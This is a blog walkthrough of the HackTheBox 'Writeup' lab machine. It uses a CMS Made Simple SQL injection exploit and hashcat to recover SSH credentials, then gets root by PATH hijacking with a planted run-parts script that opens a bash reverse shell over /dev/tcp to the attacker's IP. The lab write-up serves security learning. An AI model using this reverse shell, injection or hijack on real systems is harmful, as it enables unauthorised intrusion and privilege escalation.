Hi everyone!
Today’s post is on Writeup, an easy HackTheBox GNU/Linux machine. It was released on 9th June 2019. To access the server to get the user flag is fairly simple but to escalate privileges is quite hard for me to find clues until HackTheBox’s discussion forum helped me with some clues. This machine is on a CMS Made Simple’s CVE on SQL time-based injection and path hijacking for privilege escalation. Let’s get started!

Tools required
Service discovery with Nmap
As usual, we first have to enumerate the services/ports available on the machine.
┌──(soulx㉿kali)-[~] └─$ IP=10.10.10.138 ┌──(soulx㉿kali)-[~] └─$ nmap -A -p1-9999 -v $IP Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 23:59 +08 NSE: Loaded 153 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 23:59 Completed NSE at 23:59, 0.00s elapsed Initiating NSE at 23:59 Completed NSE at 23:59, 0.00s elapsed Initiating NSE at 23:59 Completed NSE at 23:59, 0.00s elapsed Initiating Ping Scan at 23:59 Scanning 10.10.10.138 [2 ports] Completed Ping Scan at 23:59, 0.14s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 23:59 Completed Parallel DNS resolution of 1 host. at 23:59, 0.02s elapsed Initiating Connect Scan at 23:59 Scanning 10.10.10.138 [9999 ports] Discovered open port 80/tcp on 10.10.10.138 Discovered open port 22/tcp on 10.10.10.138 Completed Connect Scan at 00:00, 38.66s elapsed (9999 total ports) Initiating Service scan at 00:00 Scanning 2 services on 10.10.10.138 Completed Service scan at 00:00, 0.30s elapsed (2 services on 1 host) NSE: Script scanning 10.10.10.138. Initiating NSE at 00:00 Completed NSE at 00:00, 14.00s elapsed Initiating NSE at 00:00 Completed NSE at 00:00, 1.14s elapsed Initiating NSE at 00:00 Completed NSE at 00:00, 0.00s elapsed Nmap scan report for 10.10.10.138 Host is up (0.14s latency). Not shown: 9997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA) | 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA) |_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519) 80/tcp open tcpwrapped Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 00:00 Completed NSE at 00:00, 0.00s elapsed Initiating NSE at 00:00 Completed NSE at 00:00, 0.00s elapsed Initiating NSE at 00:00 Completed NSE at 00:00, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 55.26 seconds
As there is a website running at port 80, let’s go into the website to take a look.
Website outlook and obtaining credentials

Modify host file
As we can see based on the email, jkr@writeup.htb, we now know the domain name. Let’s go add it in the /etc/hosts
.
┌──(soulx㉿kali)-[~] └─$ sudo nano /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali 10.10.10.138 writeup.htb # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
I tried Gobuster but our connection was blocked after a while. Looking at the main page, we can see DoS protection is in place. I also looked at the response header but there is no useful information.
Clues at robots.txt
Another good place to look at is robots.txt
. From there, we can see there is another folder/directory we can access.

If we go into the /writeup/
directory, we can see a different-looking website.

Obtaining CMS used for the website
If we press CTRL+U
at http://writeup.htb/writeup/, we can see CMS Made Simple is used to build the website in the /writeup/
directory.

SQL time-based injection attack
Just a quick google for exploitDB on CMS Made Simple, I found a CVE exploit on SQL time-based injection here. The script is in Python2 hence we have to install termcolor
package.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/writeup] └─$ python2 -m pip install termcolor DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality. Defaulting to user installation because normal site-packages is not writeable Collecting termcolor Using cached termcolor-1.1.0.tar.gz (3.9 kB) Building wheels for collected packages: termcolor Building wheel for termcolor (setup.py) ... done Created wheel for termcolor: filename=termcolor-1.1.0-py2-none-any.whl size=4831 sha256=cec40806d5e02a907b81a5e1bf7e8db3d0ba7f7ef4838c0e0b8b3c9982f19f1f Stored in directory: /home/soulx/.cache/pip/wheels/48/54/87/2f4d1a48c87e43906477a3c93d9663c49ca092046d5a4b00b4 Successfully built termcolor Installing collected packages: termcolor Successfully installed termcolor-1.1.0
I copy, paste, and saved the exploit in cmsms_sql_injection.py
and run it with Python2. A wordlist is used to crack the password.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/writeup] └─$ python2 ./cmsms_sql_injection.py -u http://writeup.htb/writeup -c -w /usr/share/wordlists/rockyou.txt [+] Salt for password found: 5a599ef579066807 [+] Username found: jkr [+] Email found: jkr@writeup.htb [+] Password found: 62def4866937f08cc13bab43bb14e6f7 [*] Try: raykayjay9
We can see that the salt, username, email, and password were found. However, the password was not found as the program ended when it reached raykayjay9
which is kind of strange. It might be the password. However, to further verify it, I used Hashcat. If we look at the exploit code from exploitDB, we will know that the salt and password is in this format: salt:password
. This is flag -m 20
in Hashcat as shown here.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/writeup] └─$ echo 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807 > writeuphash.hash ┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/writeup] └─$ hashcat -m 20 writeuphash.hash /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ============================================================================================================================= * Device #1: pthread-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, 3185/3249 MB (1024 MB allocatable), 2MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimim salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers applied: * Zero-Byte * Early-Skip * Not-Iterated * Single-Hash * Single-Salt * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. If you want to switch to optimized backend kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Host memory required for this attack: 64 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9 Session..........: hashcat Status...........: Cracked Hash.Name........: md5($salt.$pass) Hash.Target......: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807 Time.Started.....: Thu Jul 22 16:57:39 2021 (2 secs) Time.Estimated...: Thu Jul 22 16:57:41 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 2368.1 kH/s (0.27ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 4360192/14344385 (30.40%) Rejected.........: 0/4360192 (0.00%) Restore.Point....: 4358144/14344385 (30.38%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: raynerleow -> raygan96 Started: Thu Jul 22 16:57:05 2021 Stopped: Thu Jul 22 16:57:41 2021
The password is indeed raykayjay9
. As we already know the username is jkr
, let’s try to SSH with those credentials.
Obtaining user flag
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/writeup] └─$ ssh jkr@$IP The authenticity of host '10.10.10.138 (10.10.10.138)' can't be established. ECDSA key fingerprint is SHA256:TEw8ogmentaVUz08dLoHLKmD7USL1uIqidsdoX77oy0. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.138' (ECDSA) to the list of known hosts. jkr@10.10.10.138's password: raykayjay9 Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. jkr@writeup:~$ jkr@writeup:~$ ls user.txt jkr@writeup:~$ cat user.txt d4e*****************************
Privilege escalation and obtaining root flag
As usual, I first tried sudo -l
but it stated that sudo
command is not found. Therefore, I tried linPEAS.sh but there wasn’t any issue information. That is when I searched for the discussion forum and obtained a hint that a special process is made whenever we SSH into jkr’s account.
Looking at current running processes with privileges
Downloading Pspy and uploading it into the machine via SCP, we can use it to see the current processes running with what privileges.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/writeup] └─$ scp ./pspy64 jkr@$IP:. jkr@10.10.10.138's password: raykayjay9 pspy64
Once it is on the machine, we can then use our current SSH instance to run it. After running it, open another terminal in your OS and SSH into jkr’s account. You should see a process created below.
jkr@writeup:~$ chmod 744 pspy64 jkr@writeup:~$ ./pspy64 ... 2021/07/22 06:13:12 CMD: UID=1000 PID=16216 | -bash 2021/07/22 06:13:14 CMD: UID=0 PID=16217 | sshd: [accepted] 2021/07/22 06:13:14 CMD: UID=0 PID=16218 | sshd: [accepted] 2021/07/22 06:13:27 CMD: UID=0 PID=16219 | sshd: jkr [priv] 2021/07/22 06:13:27 CMD: UID=0 PID=16220 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 2021/07/22 06:13:27 CMD: UID=0 PID=16221 | run-parts --lsbsysinit /etc/update-motd.d 2021/07/22 06:13:27 CMD: UID=0 PID=16222 | /bin/sh /etc/update-motd.d/10-uname 2021/07/22 06:13:27 CMD: UID=0 PID=16223 | sshd: jkr [priv] 2021/07/22 06:13:27 CMD: UID=1000 PID=16224 | sshd: jkr@pts/1 2021/07/22 06:13:27 CMD: UID=1000 PID=16225 | -bash
Looking at the process in which I made it into blue font, we can see that it has root privilege due to UID=0
. Besides that, it runs a program called run-parts
by searching for it in the environmental path.
If we look at the location of run-parts
, we can see that it is located at /bin
.
jkr@writeup:~$ which run-parts
/bin/run-parts
/bin
is the last of the environmental path which the system will look for. It will look for run-parts
at /usr/local/sbin
, and followed by /usr/local/bin
if not found, and so on until run-parts
is found. Therefore, we can create a malicious file called run-parts
in any of those directories before /bin
. This is known as path hijacking.
If we look at /usr/local/sbin
and /usr/local/bin
, we can see that only root and staff can access it. Looking at who is on staff, we can see jkr is in it. This means we can create malicious run-parts
in it.
jkr@writeup:~$ cd /usr/local/ jkr@writeup:/usr/local$ ls -l total 56 drwx-wsr-x 2 root staff 20480 Apr 19 2019 bin drwxrwsr-x 2 root staff 4096 Apr 19 2019 etc drwxrwsr-x 2 root staff 4096 Apr 19 2019 games drwxrwsr-x 2 root staff 4096 Apr 19 2019 include drwxrwsr-x 4 root staff 4096 Apr 24 2019 lib lrwxrwxrwx 1 root staff 9 Apr 19 2019 man -> share/man drwx-wsr-x 2 root staff 12288 Apr 19 2019 sbin drwxrwsr-x 7 root staff 4096 Apr 19 2019 share drwxrwsr-x 2 root staff 4096 Apr 19 2019 src jkr@writeup:/usr/local$ cat /etc/group | grep staff staff:x:50:jkr
Therefore, let’s create a bash script called run-parts that will make a reverse TCP connection back to our OS to obtain a reverse shell.
jkr@writeup:/usr/local$ cd sbin jkr@writeup:/usr/local/sbin$ nano run-parts
Inside the Nano editor:
#!/bin/bash bash -i &>/dev/tcp/10.10.1.1/1337 0<&1
Save the file and change the permission.
jkr@writeup:/usr/local/sbin$ chmod 777 run-parts
Quickly open a new terminal on your OS and run Netcat to listen to the port you specify. If you do it slowly, the run-parts
file will be deleted by Cron
after a while. We will take a look at that later.
┌──(soulx㉿kali)-[~] └─$ nc -lvnp 1337 listening on [any] 1337 ..
Now that we have Netcat listen at that port, open another terminal and SSH into jkr’s account. This should cause our malicious run-parts
to be run instead. If yours is not working, probably Cron
has deleted your malicious run-parts
. Repeat the previous steps again if required.
Your Netcat should have received an incoming connection and obtained an interactive reverse root shell.
┌──(soulx㉿kali)-[~] └─$ nc -lvnp 1337 listening on [any] 1337 .. connect to [10.10.1.1] from (UNKNOWN) [10.10.10.138] 55956 bash: cannot set terminal process group (16639): Inappropriate ioctl for device bash: no job control in this shell root@writeup:/#
Obtaining root flag
root@writeup:/# cd /root cd /root root@writeup:/root# ls ls bin root.txt root@writeup:/root# cat root.txt cat root.txt eeb***************************
Understanding why run-parts will get deleted
If we look at the output of Pspy, we will notice that once in a while, Cron will run /root/bin/cleanup.pl
.
jkr@writeup:~$ ./pspy64
...
2021/07/22 06:46:02 CMD: UID=0 PID=16654 | /usr/sbin/CRON
2021/07/22 06:46:02 CMD: UID=0 PID=16655 | /usr/sbin/CRON
2021/07/22 06:46:02 CMD: UID=0 PID=16656 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
2021/07/22 06:46:12 CMD: UID=0 PID=16657 | cat /root/bin/cleanup.pl
...
Since we now have the root reverse shell, we can look at the source code of cleanup.pl
.
root@writeup:/usr/local/sbin# cat /root/bin/cleanup.pl cat /root/bin/cleanup.pl #!/usr/bin/perl my $age = 60; while ($_ = glob('/usr/local/sbin/* /usr/local/bin/*')) { next if -d $_; my $mtime = (stat($_))[9]; # delete files older than 3 minutes # to try to not spoil others if(time-$mtime > $age) { unlink($_); } }
We can see that if we create a file in /usr/local/sbin
or /usr/local/bin
, it will get deleted after a while.
I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂